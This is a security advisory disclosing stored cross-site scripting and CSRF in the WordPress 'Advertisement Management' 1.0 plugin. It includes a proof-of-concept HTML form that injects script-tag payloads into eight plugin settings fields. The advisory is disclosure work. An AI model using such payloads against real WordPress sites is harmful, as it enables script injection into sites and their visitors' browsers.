WordPress Advertisement Management 1.0 Cross Site Scripting

`Title: WordPress 'Advertisement Management' Plugin   
Version: 1.0  
Author: Morten Nørtoft, Kenneth Jepsen & Mikkel Vej  
Date: 2015-06-16  
Download:   
- https://wordpress.org/plugins/advertisement-management/  
- https://plugins.svn.wordpress.org/advertisement-management/  
Notified WordPress: 2015-06-21  
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## Plugin description  
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Advertisement Management lets you administrate all the blog advertisements diretctly from the blog backend.  
  
## XSS/CSRF vulnerabilities  
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The settings on the admin page is vulnerable to XSS.  
  
PoC:  
Log in as admin and submit the this form  
  
<form method="POST" action="[URL]/wp-admin/options-general.php?page=Advertising_page&action=update">   
<input type="text" name="Advertising_front_page" value="</textarea><script>alert(1)</script>"><br />  
<input type="text" name="Advertising_single_top" value="</textarea><script>alert(2)</script>"><br />  
<input type="text" name="Advertising_single_bottom" value="</textarea><script>alert(3)</script>"><br />  
<input type="text" name="Advertising_page_top" value="</textarea><script>alert(4)</script>"><br />  
<input type="text" name="Advertising_page_bottom" value="</textarea><script>alert(5)</script>"><br />  
<input type="text" name="Advertising_below_commentbox" value="</textarea><script>alert(6)</script>"><br />  
<input type="text" name="Advertising_blog_top" value="</textarea><script>alert(7)</script>"><br />  
<input type="text" name="Advertising_below_footer" value="</textarea><script>alert(8)</script>"><br />  
<input type="submit">  
</form>  
  
After having done this, some of the injected scripts will be executed when loading the front page of the site.  
  
## Solution  
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No fix available  
  
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XSS vulnerabilities found using Eir; an early stage static vulnerability scanner for PHP applications.  
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